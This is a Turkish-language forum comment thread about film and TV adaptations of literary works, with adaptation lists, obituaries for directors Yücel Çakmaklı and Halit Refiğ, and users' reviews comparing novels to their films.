    - ‘Eylül’ (Semih Evin – 1988; Tv. Dizisi olarak)

    Mehmet Rauf’un insanı depresyona sürükleyen psikolojik romanı. Dizi de ondan aşağı kalmıyordu. Kalantor bir adam olan Süreyya ile evli Suat; evlerine sık sık uğrayan aile dostları Necip; yasak bir aşk…

  • okaliptus80 diyor ki:

    Bugün gazetede okudum; Türk Edebiyatının yaşayan çınarlarından değerli yazar Vedat Türkali, Altın Portakal’da Onur Ödülü’ne layık görülmüş.

    Yazar ve düşün adamı kimliğinin yanı sıra senaristlik/yönetmenlik yönüyle de Türk Sineması’na azımsanmayacak katkıları olmuş bir büyük isim. Başta ‘Karanlıkta Uyananlar’, ‘Otobüs Yolcuları’ gibi unutulmaz yapımlar olmak üzere epey bir filmimizin senaristliğini yapmıştır.
    Şu da konusunu 12 Mart döneminin politize gençlik hareketlerinden alan bir Türkali uyarlaması;

    - ‘Bir Gün Mutlaka’ (Bilge Olgaç – 1975)

  • okaliptus80 diyor ki:

    Biraz daha yerlilerle devam edelim;

    Necip Fazıl Kısakürek’in bir eserinden, 1988 senesinde Mesut Uçakan tarafından sinemaya uyarlanan ‘Reis Bey’ Perşembe öğle kuşağında TRT 1′de olacak. Bir idam olayından hareketle, bazı şeylerin hiç de uzaktan göründüğü gibi olmadığını ve filmdeki gözü yaşlı annenin de sık sık Reis Bey’in yüzüne karşı dile getirdiği üzere toplumsal “merhamet” konusunu anlatan bir film. Bence iyi de bir film. Haluk Kurtoğlu, acıma duygusundan zerre nasibini almamış hakim rolünde çok başarılı. Ama filmde de görülecek ki ne oldum dememeli, ne olacağım demeli!

    İçinde bullunduğumuz kutsal ayın da etkisiyle sinemamızdaki Necip Fazıl Kısakürek uyarlamalarının toplu bir külliyatını yapmak iyi olacak sanki. Müsaadenle sevgili rashomon; (Sinematürk.com adresinden de yararlanarak.)

    - ‘Yarasa’ (Hüdaverdi Yavuz – 1994)
    - ‘Siyah Pelerinli Adam’ (İsmail Güneş – 1992)
    - ‘Mümin ile Kâfir’ (Yücel Çakmaklı – 1992)
    - ‘Diriliş’ (Yücel Çakmaklı – 1974)
    - ‘Kızım Ayşe’ (Yücel Çakmaklı – 1974)
    - ‘Zehra’ (Yücel Çakmaklı – 1972)
    - ‘Parmaksız Salih’ (Turgut Demirağ – 1968)
    - ‘Felaket Kuşu’ (Turgut Demirağ – 1967)
    - ‘Yangın Var’ (Ömer Lütfi Akad – 1960)
    - ‘Bir Adam Yaratmak’ (Yücel Çakmaklı – 1977; Tv. Dizisi olarak)… Bir Adam Yaratmak, şairimizin bir oyunundan uyarlamaydı. Yıllar önce izlemiştim devlet televizyonunda, meyhane sahneleriyle anımsarım hep.

    Necip Fazıl mistisizmin şairi, malum. Yücel Çakmaklı da ülkemizde “Beyaz” şeklinde tarif edilen ve bir dönem hayli revaç bulan muhafazakar sinemanın en önemli temsilcisi olunca… Dolayısıyla sinemamız adına verimli bir yol arkadaşlığı ortaya çıkmış.

  • okaliptus80 diyor ki:

    - Merhamet Reis Bey, merhamet!
    - Merhamet… Ağızların iğrenç sakızı! (Haluk Kurtoğlu)

    ‘Reis Bey’ filminden…

  • okaliptus80 diyor ki:

    Henüz öğrendim, üstteki mesajı yazarken haberdar değildim. Maalesef Yücel Çakmaklı’yı kaybetmişiz dün itibariyle. Önce Pertan, şimdi Çakmaklı…

    Yukarıdaki Necip Fazıl uyarlamaları haricinde yine gelenekçi kanadın bir diğer mensubu olan değerli bir yazarımızın, Tarık Buğra’nın

    - ‘Küçük Ağa’ (1983; Tv. Dizisi – Mütareke dönemi Konya’sı ve İstanbullu Hoca…)
    - ‘Osmancık’ (1987; Tv. Dizisi – Osmanlı Devleti’nin Kuruluş yılları…)

    adlı iki tarihi romanının uyarlamalarını yöneten isimdi.

    (Tarık Buğra, Kurtuluş Savaşı’nda Güney Cephesi’ndeki mücadeleyi konu edinen 1987 tarihli ‘Sahibini Arayan Madalya’da bu kez senarist namıyla yardımcı olacaktı kendisine.)

    - Hekimoğlu İsmail’in eseri ‘Minyeli Abdullah’ı 1989′da sinemamıza uyarlayan da Çakmaklı’ydı.

    - Yine Trt için 1970′lerde bir Tarık Dursun Kakınç uyarlaması olan ‘Denizin Kanı’nı yönetmişti.

    - Turan Oflazoğlu’nun ‘IV. Murat’ından hareketle aynı kanal için çektiği diziyi de unutmuyoruz elbette.

    - En Son Peyami Safa imzalı ‘Cumbadan Rumbaya’ adlı eseri çekmişti.

    Sinemamızın başı sağolsun; nur içinde yatsın!

  • Rashomon diyor ki:

    Türk Sineması için acı bir kayıp, sinemamızın başı sağolsun.

    Yücel Çakmaklı deyince aklıma ‘Birleşen Yollar’ filmi gelir. Bu onun aynı zamanda ilk sinema filmidir.

    Filmde dönemin önemli oyuncularından Türkan Şoray ve İzzet Günay başrollerdedir. Filmin konusu dönemine göre oldukça farklıdır. Hoppa bir kız olan Feyza (Türkan Şoray) ile inançlı bir adamın (Bilal) öyküsünü anlatır… Herşey bir iddia ile başlar, Feyza kendisini Bilal’ e aşık ettirip, onunla alay etmek ister. İşte tam burada herşey tersine döner ve Bilal Feyza’ yı değiştirmeye başlar, Feyza Bilal’ e aşık olur…

    Konu Türk Sinemasında o dönem için bir hayli farklı olsa da filmin anlatımı ve işleyişi Türk Sineması geleneğinden fazlaca kopmaz. Herhalde bu gelenekten kopmama filme ticari açıdan da önemli katkılar yapmış. Döneminde bayağı bir gişe yapmış film.

    Türk Sinemasında akımlar hep tartışılan bir konu olmuştur. Eğer ‘Milli Sinema Akımı’ diye bir akım varsa, bu akımı başlatan film ‘Birleşen Yollar’ dır.

    Film aynı zamanda iyi bir roman uyarlaması. Şule Yüksel Şenler’ in ‘Huzur Sokağı’ isimli romanından uyarlanmıştır…

  • okaliptus80 diyor ki:

    “Halide Hanım’ın ‘Vurun Kahpeye’ romanında yaptığı çok önemli bir iş var. Benim işte o romanı üçüncü defa filme çekmeyi kabul etmemin gerekçesi de, Halide Hanım’ın orada sembolik olarak Cumhuriyet’in kuruluşundaki iki önemli kesimi kahramanlaştırması. Bu iki önemli kesim, subaylar ve öğretmenlerdir. Ve filmde bir subay ve öğretmen arasındaki bağlılık, aşk var. Bu aynı zamanda Cumhuriyet’in kuruluş temelini sembolik olarak vermektedir.” (Halit Refiğ)

    Hele de bir yaprak dökümünün başladığı şu son aylarda, yaşayan çınarlarımıza sahip çıkmak gerek! İşte onlardan biri;

    Sevgili rashomon’un bahsettiği ‘Milli Sinema’ akımının en ateşli temsilcilerinden biri de Halit Refiğ idi elbette. Geçtiğimiz sene hasta yatağında Handan Karakaya nefis bir röportaj gerçekleştirmişti yönetmenimizle. Okumamış olanlar netten de ulaşabilir.

    Sinematografisinde yer alan uyarlamaların tam listesini Sinematurk.com adresinden de yararlanarak toparlayayım istedim;

    - ‘Seviştiğimiz Günler’ (1961; Orhan Elmas’ın eserinden…)
    - ‘Şehirdeki Yabancı’ (1962; Kendi eserinden ve Türkali’nin senaryosuyla… Unutulmaz filmlerinden biriydi.)
    - ‘Gurbet Kuşları’ (1964; Orhan Kemal’in eserinden…)
    - ‘Güneşe Giden Yol’ (1965; Alexandre Dumas Fils’in eserinden…)
    - ‘Kırık Hayatlar’ (1965; Halit Ziya Uşaklıgil’in eserinden…)
    - ‘Üç Korkusuz Arkadaş’ (1966; Alexandre Dumas Fils’in eserinden…)
    - ‘Aşk Fırtınası’ (1972; Muazzez Tahsin Berkant’ın eserinden…)
    - ‘Vurun Kahpeye’ (1973; Halide Edip Adıvar’ın eserinden…)
    - ‘Sultan Gelin’ (1973; Cahit Atay’ın eserinden…)
    - ‘Aşk-ı Memnu’ (1975; Tv. Dizisi olarak; Halit Ziya Uşaklıgil’in eserinden…)
    - ‘Yorgun Savaşçı’ (1979; Tv. Dizisi olarak; Kemal Tahir’in eserinden…)
    - ‘Leyla ile Mecnun’ (1982; Erdoğan Tünaş’ın eserinden…)
    - ‘Karılar Koğuşu’ (1989; Kemal Tahir’in eserinden…)
    - ‘Gelinlik Kız’ (2000; Selim İleri’nin eserinden…)

    Refiğ, çok iyi hatırlıyorum, bir konuşmasında hayranı olduğu yazarın hayranı olduğu eseri ‘Devlet Ana’yı günün birinde filme çekmek emelinde olduğunu belirtmişti. Ne diyelim, o günleri görür dileriz ki! Yaşar Kemal’in kitabındaki gibi, yeter ki ‘Deniz Küstü’ olmasın.

    Bir Not: İki üç hafta evvel yaşamını yitiren ünlü kadın edebiyatçımız ‘Nezihe Araz’ da epey yardımcı olmuştur Refiğ’e. Birkaç filminin senaryosunu/diyaloglarını o yazmıştır.

  • okaliptus80 diyor ki:

    … Genç ve idealist maden mühendisi Aydın’ı (Şehirdeki Yabancı); bir ağa kızına gönül veren savaş pilotu/üsteğmen Göksel’i (Şafak Bekçileri); tası tarağı toplayıp Maraş’tan İstanbul’a göç eden Bakırcıoğlu ailesini (Gurbet Kuşları); Haremdeki 4 Kadın’ı; eşi ve fettan bir hanım arasında bocalayan Doktor Ömer Behiç’i (Kırık Hayatlar); gönül verdiği Türk erkeğinin izinden Anadolulara dek gelen Alman kızı Eva Bender’i (Bir Türk’e Gönül Verdim); öz babası olduğundan habersiz, zalim Buhara emirine karşı savaşan Adsız’ı (Adsız Cengaver); Aliye öğretmeni (Vurun Kahpeye); Cehennem yüzbaşı Cemil’i (Yorgun Savaşçı); Üftade ve küçük Umur’u (Teyzem); hayatta tutunduğu en büyük dal kedisi olan Olcay Hanım’ı (Hanım) ve Karılar Koğuşu’nun idamlık Hanım Kuzu’sunu, hafifmeşrep Tözey’ini…

    Hiç unutmayacağız!

    Ve elbette tüm bu filmleri sinemamıza hediye etmiş Halit Refiğ’i… Bir çınar daha devrildi maalesef. Uğurlar ola Halit usta!
    Sinemamızın başı sağolsun!

  • oscar1895 diyor ki:

    Toprağı bol olsun!

  • Rashomon diyor ki:

    Türk sinemasının önemli yönetmenlerinin başında gelen bir isimdi. Sinemayı bilen, bildiklerini filmlerinde kullanan; ayrıca sinemasını yenilemeyi bilen bir yönetmendi. Yine sinema alanındaki birikimlerini, insanlarla paylaşan büyük bir sinemacıydı. Sadece Türk sinemasını iyi bilmekle kalmayan, Dünya sinemasını da çok iyi bilen bir yönetmenimizdi. Türk sineması adına çok büyük bir kayıp.

    Nur içinde yatsın. Toprağı bol olsun…

  • okaliptus80 diyor ki:

    ‘La petite marchande d’allumettes’ {The Little Match Girl – Küçük Kibritçi Kız} / Jean Renoir – 1928

    (Hans Christian Andersen’in “Kibritçi Kız” öyküsünden…)

    Danimarkalı masal ustasının, ‘Karlar Kraliçesi’ ile birlikte perdeye en çok uyarlanmış ünlü eseri. Andersen masalları, çocukluğun soğuk gecelerine eşlik etmiştir. Karlı bir Noel akşamı kibritleriyle ısınmaya çalışan kızın, ürkütücü peri masalına dönüşecek “acıtan” öyküsünü, muhtemelen üzüntüyle/ürpertiyle okumuş ya da dinlemiştik.

    Şehrin uzağında bir gecekondu mahallesindeyiz. Yeni yılın hemen öncesi… Her yer karlar altında. İşte bu gecekondu mahallesindeki derme çatma bir kulübede yalnız yaşayan koyu yoksul kızımız Karen’in bir gecelik hüzünlü hikayesine tanıklık edeceğiz. İnsanların evlerine çekildiği o gece, şehrin caddelerinde kibrit satmak zorunda Karen. Ama pek başarılı olduğu söylenemez.

    Soğuk ve açlık, en büyük iki düşmanı. Kara teslim olan kulübesinde, “satamadığı” kibritlerindeki çöpler yetişecektir soğuktan korunmasına. Isınmak için yaktığı her çöp, ona “düşler” gördürecektir. O ana dek sosyal/gerçekçi bir dram halinde ilerleyen ve Renoir sinemasında gözlemlenen sınıfsal göndermelerden nasiplenen film, bu noktadan itibaren bir Andersen uyarlaması oluşunun hakkını veriyor. Fantaziye/gerçeküstücülüğe kayıyor. İzleyiciyi, hayal gücünün sınırsızca kullanıldığı şiirsel enstantaneler bekliyor. Karen’in -karın üstünde boylu boyunca uzanırken- gördüğü düşler, tüm büyüleyiciliğinin/korkutuculuğunun yanısıra “özlemlerine” ve acılarına paraleldir aslında.

    O kadar içe işleyen bir filmdir ki… İlk izlediğimde gözlerimi yaşarttığını anımsıyorum. (Hikayeyle çok önceden tanışmış da olsak.) Çok iddialı olacak ama bana göre bu filmde yaşarmayan bir göz, gözyaşına bağışıklık kazanmış demektir. Filmin dokunaklılığı, samimiyetinden geliyor. Bu samimiyeti sağlayansa, Karen’i oynayan -ve yönetmenin de eşi- Catherine Hessling. Daha önce bir başka uyarlamada, Emile Zola’nın ‘Nana’sında da (1926) görmüştük Hessling’i. Kibritçi Kız’ın mahzunluğunu muhteşem yansıtıyor. İnsanın içini cız ettiriyor. Hele ki yurdun kara teslim olduğu şu günlerde..

    Kim demiş masallar mutlu biter diye!

  • okaliptus80 diyor ki:

    Küçük Kibritçi Kız’ı bir kez daha izledim ve yine gözlerimi hafiften yaşartmayı başardı. Özellikle dışarıda donmuş haldeki Hessling’in, buharını aldığı bir camdan sıcacık mekanda yılbaşı kutlayan zenginlere baktığı sahneyi on binlerce sahneye değişmem. Gözlerindeki feri ve yüzündeki gülümsemeyi her şeye rağmen koruyordu. Üst mesajda bu filme ait bir kare paylaşabilirseniz o kadar makbule geçer ki…

    ‘Robinson Crusoe on Mars’ {Robinson Crusoe Mars’ta – 1964} / Byron Haskin

    Defoe’nin ünlü kitabından değişik bir uyarlama. Crusoe, bu kez adada değil Mars’ta.

    Kit Draper ve bir albay, çıktıkları uzay yolculuğunda kazaya maruz kalıyorlar. Albay ölüyor. Modern Crusoe’miz Kit, yolculuğa beraberlerinde çıkan maymun (Mona) ile birlikte “adasında” yaşam mücadelesi veriyor. Bu kez ekstradan göğüs germek zorunda kalacağı dertler var. Oksijensizlik gibi…

    Elbette eserin olmazsa olmazlarından biri de, mekanın “yerlilerinden” olan Cuma… Kit (Robinson), tıpkı kitaptaki gibi dış güçlerin elinden kurtarıp “eğitiyor” onu; hizmetine alıyor.

  • okaliptus80 diyor ki:

    Kareler için teşekkür ediyorum.

    ‘Neco z Alenky’ {Alice – 1988} / Jan Svankmajer

    Tagline: Disney + Bunuel…

    Kukla-animasyon ustası Jiri Trnka’nın açtığı yolda ilerleyen Çek yönetmen Jan Svankmajer, Lewis Carroll’un ‘Alice Harikalar Diyarında’ adlı masal/romanının “serbest” (ve ürkütücü) bir uyarlamasını gerçekleştirmişti.

    Yaratıcılıkta sınır tanımayan, yarı gerçek yarı animasyon bir filmdi. Kuklalar ve maketler, 94′teki ‘Faust’ gibi hazır ve nazırdı.
    Filmdeki tüm konuşmalarda dudaklarına yakın çekim yapılan küçük kız Alice, vücudundaki talaşları yiyerek beslenen eli makaslı bir tavşanın peşinden koşarken girdiği çekmece vasıtasıyla öteki portala adım atacak; bu tuhaf evrendeki yolculuğunda, tavşanın yanısıra, tırtıllar, iskeletler, iskambilden düellocular, Kupa Kraliçeleri, kukla oynatıcıları… gibi bir düzine yaratıkla karşılaşacaktı.

    İyi bir uyarlama… Gerçeküstücü edebiyatı ve filmleri sevenler için…

  • kadir503 diyor ki:

    ‘Witness for the Prosecution’ {Beklenmeyen Şahit – 1957} / Billy Wilder

    Billy Wilder’ın ünlü yazar Agatha Christie’nin tiyatro oyunundan uyarladığı film; mahkeme konulu filmler içerisinde tartışmasız bir başyapıt!

    Ciddi sağlık sorunlarından ötürü tatile çıkma arifesinde Sir Wilfred Robarts(Laughton)’a öyle bir iş düşüyor ki çok sevdiği mesleğinden uzaklaşmak yerine mesleğine dört elle sarılmak zorunda kalıyor. Vole ailesin içerisinde bulunduğu durum filmin son sahnesine kadar gizemli bir yap-bozu andırıyor. Bu yap-bozun ipuçlarını ise Wilder tüm ustalığıyla hiç acele etmeden buluşturarak baştan sona soluksuz ve büyük bir merakla izlenen bir film ortaya çıkarıyor.

    Adalet sistemiyle kadın-erkek ilişkilerinin de eleştirel bir tablosunu çizen film; başta Charles Laughton ile Marlene Dietrich olmak üzere tüm oyuncuların üstün performanslarıyla Billy Wilder’ın en iyi filmleri arasında rahatlıkla gösterilebilecek bir yapım.

  • okaliptus80 diyor ki:

    Edebiyat ve sinemadan sevindirici bir işbirliği daha… Vedat Türkali’nin öyküsü 27 Mayıs dönemlerinde geçen ünlü kitabı ‘Bir Gün Tek Başına’ şu sıra senaryo aşamasında imiş. Yönetmen koltuğunda oğlu Barış Pirhasan olacak sanırım.

  • Rashomon diyor ki:

    Güzel bir dönem filmi bizi bekliyor.

  • okaliptus80 diyor ki:

    ‘Marat/Sade’ (1967) / Peter Brook

    İki Peter’in işbirliği ile doğmuş bu film, sinema tarihinin hâlâ adamakıllı tek Marat Sade uyarlaması.

    Daha önce William Golding’in ölümsüz romanı ‘Sineklerin Tanrısı’nı sinemaya uyarlayan Peter Brook, 1967′de ise ilerici oyun yazarlarından Peter Weiss’in “Jean Paul Marat’ın Takip Edilip Öldürülmesi” isimli oyununu beyazperdeye adapte etmişti. İngiliz yönetmen, aynı zamanda bir tiyatro adamıdır bilineceği üzere. Yani bu uyarlama için biçilmiş kaftan.
    Nitekim filmimiz anlatım, mizansen, diyaloglar vs. her yönden sinemadan çok tiyatroya yakın.

    Bir oyun sahneleniyor. Oyunun dekoru, Charenton akıl hastanesi. Ne manidar! Oyuncuları ise akıl hastaları. Amaç; hastaların rehabilitasyonu.

    Hikaye, Fransız İhtilali’nin kahramanlarından Jean-Paul Marat etrafında gelişiyor. Merkezde o var. Ve “küveti”. Öldürülmeden önceki son günlerini; ruhsal, bedensel ve fikirsel değişimlerini izliyoruz.
    Marquis de Sade ve suikastçi Charlotte Corday ise yan karakter olarak işleniyor.

    1808 (bugünkü zaman) ve 1793 (geçmiş zaman) arasında gidip gelen film; daha çok 1793′de, ihtilalin yerini karmaşaya bıraktığı yıllarda geçiyor. İhtilali masaya yatırıyor. “Ne değişti?” diye soruyor. İhtilalin ve “devrimin” getiri ve götürülerini; geleceğini; halkın nezdinde yeterince kavranıp kavranamadığını sorguluyor. Yanı sıra… Bireysel ve amaçsız bir şiddetle; örgütlü ve amaçlı şiddeti birbiriyle çarpıştırıyor. “Mücadele”nin gerekliliğini tartışıyor. Bu noktada, Marat ile Sade’nin görüşlerini güreştirdikleri atışma anları belirleyici rol oynuyor. Palyaço kostümlü 4 oyuncunun aralara girerek söyledikleri şarkılar da aynı minvalde ilerliyor. Bu müzikal kısımlar gerçekten keyifli.
    Filmin ajitatif yönü oldukça keskin. İhtilalin “Özgürlük – Eşitlik – Kardeşlik” mottosunu, can yakan ve her daim güncel meselelere eviriyor Marat. Daha da somutlaştırıyor. Aristokrasi, kilise ve devlet adamları üçgeninin tam karşısına yoksul halkı yerleştirmek suretiyle yaptığı “sınıfsal” betimlemeler, akılda kalıcı.

    Filmi, daha doğrusu bu epik oyunu sevebilmek için Fransız İhtilali ve o dönemin sosyal yapısı hakkında ön bilgi sahibi olmak gerekiyor.

    Filmden;

    “İnsan nasıl defalarca duyduğu şeye inanırsa, yoksullar da ekmek yerine, kırbaçlanmış ve çivilenmiş kan revan içindeki İsa’nın resmiyle yetinir.
    Ve böylece yoksulları kendi cehaletleriyle zincirlediler, ayaklanıp yöneticilerine direnemesinler diye. İlahi adalet yalanıyla hükmeden yöneticilere…”

  • okaliptus80 diyor ki:

    Marat/Sade’nin çağrıştırdığı iki uyarlama;

    - ‘Rosencrantz & Guildenstern Are Dead’ (1990) / Tom Stoppard

    Teatral anlatımıyla anımsanan filmlerden biri de bu. Yine bir oyun uyarlaması. Tom Stoppard, kendi yazdığı -Hamlet yorumlu- bir oyundan uyarlayıp yönetmiştir.

    “Hamlet”, en güçlüsü 40′lardaki Laurence Olivier versiyonu olmak üzere, sinemaya defalarca uyarlanmış bir eser. Ancak bu film sıradan bir Hamlet uyarlaması değil. Rosencrantz ve Guildenstern, Shakespeare’nin oyununda iki gereksiz karakterken, bu filmde öykünün ana kahramanları olmuşlardır. Tüm bir senaryo, çevresinde olan bitenlerden habersiz “kaderlerini” yaşayan bu iki arkadaş üzerine kurulmuştur. Ayrıca hikaye Godot’u aratmayacak ölçüde de absürttür.

    Gary Oldman ve Tim Roth arasındaki diyaloglar çok zekiceydi. Unutulmaz sahneler vardı (tenis desem…). İkinci defa izlediğimde biraz daha ayrıntılı dönebilirim bu külte. Stoppard’ın oyununu görmediğimden ötürü ilk izleyişim çok sağlıklı olmamıştı. Henüz tanışmamış olanlara bu ilginç yapımı görmelerini tavsiye ederim.

    - ‘Animal Farm’ {Hayvan Çiftliği – 1954}

    “Bütün hayvanlar eşittir ama bazı hayvanlar daha eşittir.”

    George Orwell’in ölümsüz romanı Hayvan Çiftliği, sade bir anlatım barındırıyordu. Kitabın bildiğim kadarıyla iki uyarlaması yapıldı. 54 yapımı olan ilk film, tamamen animasyon olarak çekilmişti. 99 versiyonu ise öyle değildi ve ilk filmin yanında -bence- çok da yavan kalmıştı.

    1954 yapımı animasyonu izlemeyen kalmamıştır herhalde. Filmde gereksiz uzatmalar yoktu, her şey kararında bırakılmıştı. Bir solukta izleniyor, mesajını da adamakıllı veriyordu.

    Eserde anlatılanlar, evrensel şeylerdi; belirli bir zaman ve ülkeden münezzehti. Günümüzde pek çok iki ayaklı örneği bulunan “Napolyon”un önderliğindeki domuzlar yani “daha eşit olanlar”, çiftliğin yönetimini devraldıklarında önce ne yaptılar? Kartopu’nun başlattığı eğitim seferberliği hamlesine son verdiler. Daha rahat hükmedebilmek için. (Bir üst mesajın son cümleleri…)

    Kitaptaki -ve filmdeki- en sevdiğim hayvan ise gayet tabi “Boksör” idi.

  • Jef _ Costello diyor ki:

    ->Capote´´nin “Soğukkanlılıkla” adlı eseri bana bir cinayet soruşturması gibi geldi,
    aşırı detaylara boğulmuş, basit bir cinayeti en ince ayrıntısına kadar işlemiş.
    Ben 67´de çekilen filmi sevmiştim çünkü NEDENLERİ ORTADAN KALDIRAN (NİHİLİST BİR HAVASI – ATMOSFERİ vardı..(Her ne kadar mahkumların cinayeti neden işlediklerine dair ipuçları verilse de..)Kitap, etkili değil bence..
    *

    ->Hollanda yapım “Karakter” romanını okumadım ama filmini sevmiştim..
    (Kitabın o kadar da iyi olamayacağını öngörerek okumadım belki de..)
    *
    –>Uyarlamalardan en beğendiğim SAPIK eseri..
    Bloch´un kitabı muazzam bence..The Exorcist ve Shining içinse aynı şeyleri söyleyemem..(Kitapları için tabiki, yoksa iki film de muazzamdır..)
    Hitc´ amcamın filmini ise yavaş yavaş sevmeye başlıyorum..Norman Bates karakteri (özellikle final sahnesiyle unutulmaz..) hafızama kazınmıştır..
    *
    –>Perec´in Uyuyan Adam´ı ve çekilen 74 de çekilen film çok sevdim ikisini de..
    ->Dantelacı Kız kitabını sevemedim, Goretta´nın filmi muhteşemdi.
    ->Mc Varthy´nin İhtiyarlara Yer Yok kitabında diyaloglar, mekan yaratımı ve anlatım bir harika..
    Coen´lerin filmi zaten muhteşem.
    ->Masoch´un Kürklü Venüs´ü alanında başyapıt.
    Polanski´´nin filmi ise zaman kaybı.
    ->Mc coy´un Atları da vururlar sarsıcı bir roman.
    Pollack´ın yorumlaması dehşetti..
    ->Jelinek´in Piyanist´i eh işte denecek cinsten bir roman, Haneke´nin filmi ise çarpıcı..
    ->Huxley´nin Cesur Yeni Dünyası kendi alanında bir numara, 98´de çekilen filmi de çok sevdim ben..Ancak o kadar yapılabilirdi bence.
    ->Kobo Abe´nin Kumların Kadını romanı şahane, 64´de çekilen film de çok iyiydi.
    ->Ballard´´ın Çarpışması biraz kendini tekrar eden bir kitap, Ama Cronenberg´in yorumlası muhteşem.
    ->Hamsun´un Açlık´ı belki de okuduğum en iyi roman, 66da çekilen filmi de çok sevmiştim.
    ->Oblomov´ karakterini severim ama ne yazıkki ne filmi ne de kitabı sevdim.
    ->The Cement Garden adlı filmi sevdim, ama kitabına ulaşamadım.
    ->Satıcının Ölümü adlı tiyatro eserini sevmedim,85´de çekilen film ise başyapıt bence..
    ->Dorian Gray´in filmi berbat, Wilde´nin eseri ise manifesto.
    ->Handke´nin Kalecinin Penaltı Anındaki Endişesi harika bir karakter – ruh analizi..
    Wenders´in filmi de iyiydi.
    ->Kerouac´ın Yolda´sı bana göre ergen işi, ve oldukça yorucu bir anlatıma sahip..
    Film ise zaman kaybı.
    ->Nabokov´un Lolita´sı da hakeza öyle, bir rus burjuvasının sayıklamaları..
    Kubrick´in filmi vasat, Lyne´ninki se vasatın biraz üstü..

  • Jef _ Costello diyor ki:

    ->Kafka´nın Şato´su labirentleri bol olan soğuk bir roman, Haneke´nin yorumlasını ise beğenmedim..
    Dava´nın filmini (Welles´in olması lazım) beğenmedim, kitap ise kusursuz.
    –>Brückner çok sevdiğim bir yazar ve Hınç Ayları bence Nabokov´un Lolita´sından bin kat daha iyi.
    Polanski´nin yorumlaması da harika..
    ->Bataille´nin Annem´i ayrıksı bir iş..(Kitabın içindeki Gözün Hikayesi öyküsü gerçekten etkileyici.)
    2004´te çekilen filmi aşırı sevmiştim..
    ->Çıplak Şölen´nin ne kitabını ne de filmini sevdim..

  • Jef _ Costello diyor ki:

    ->Şeytanın Tangosu (Satantango) kitabını Can yayınları bastı, eğer filmden bağımsız okunursa beğenilebilir, ama ben filmle karşılaştırdığımda oldukça sönük buldum.
    ->Tanrı Kent´in kitabı da kahve yayınlarından çıktı sanırım, Şeytanın Tangosu için söylediklerim bu eser için de geçerli..Bir romandan çok senaryo´yu andırıyor..
    Film, çete dünyasını en iyi anlatan eserler arasında..
    ->Kelebek adlı eser heba edilmiştir bana göre; yazar, kitap çok sattığı için esere ihanet etmiştir..Film, unutulmazlar arasında..
    ->Baba romanını beğenmedim, devam kitap olması da etkileyiciliğini kaybettiriyor bana göre..Baba 1´i severim ben.
    >Dünyanın Tüm sabahları filmini sevmem, kitabı 2015 gibi sel yayıncılıktan çıkabilir.
    ->Betty Blue´nun kitabını da beğenmedim, filminden hoşlanmıştım.
    ->Bir düş için Ağıt´ın kitabını kendini tekrar eden bir yapısı itibariyle zayıf bulmuştum, filmi harikaydı..Last Exit to Brooklyn´ için de aynı şeyler geçerli.
    ->Alkatraz Kuşçusu´nun kitabı okunsa da olur okunmasa da, ama filmi muhakkak izlenmelidir..

  • Jef _ Costello diyor ki:

    ->Solaris
    Lem´in kitabını beğenmedim ve abartıldığını düşünüyorum..
    Kitabı, Filmden bağımsız düşündüğünüzde elinizde hiçbirşey kalmıyor..
    Tarkovsky, kitabı okuyup onu bambaşka bir biçime sokmuştur..
    ->Traumnovelle
    Kitabı, Kubrick´´in´filmini izledikten sonra okudum ve kitabın filmle uzaktan yakından alakası olmadığını gördüm.
    Eğer kitap, filmden bağımsız olarak düşünülüp okunursa gene elde birşey kalmayacaktır..
    Vasat kitap, muhteşem film.
    ->Öteki Ben
    The Double, Dostoyevski´nin Öteki Ben adlı eserinden uyarlama..
    Dostoyevski´nin vasat eserlerinden biri ve uyarlanan film de bir o kadar kötü.
    ->Trainspotting
    Welsh´in kitabı vasatı aşamıyor bana göre, Boyle´nin filmi kült.
    ->Kİss of The Spider Woman
    Kitabını beğenmedim, sıkıyor gerçekten ve tekdüze ilerliyor.
    Babenco´nun filmini sevmiştim.
    ->Brokeback Mountain
    Kitabı beğenmedim, Ang Lee´nin filmi hoşuma gitmişti..

  • Jef _ Costello diyor ki:

    The Cement Garden´e d&r´dan ulaştım ve kısa sürede okudum..
    Çok aceleye getirilmiş, özensiz – basit bir dille yazılmış kötü bir romandı.
    **
    ->Sybil (TV Mini-Series 1976)
    Bu hikaye´nin gerçek olduğuna dair söylentiler olsa da, sonradan herşeyin KURGU olduğu ayyuka çıkmıştı.
    Hikayeyi gerçek olarak kabul etsek bile kitap vasatı aşamıyor bence..
    Ben uyarlanan iki filmden de hoşlanmamıştım.

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • +Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • +Yönetmenler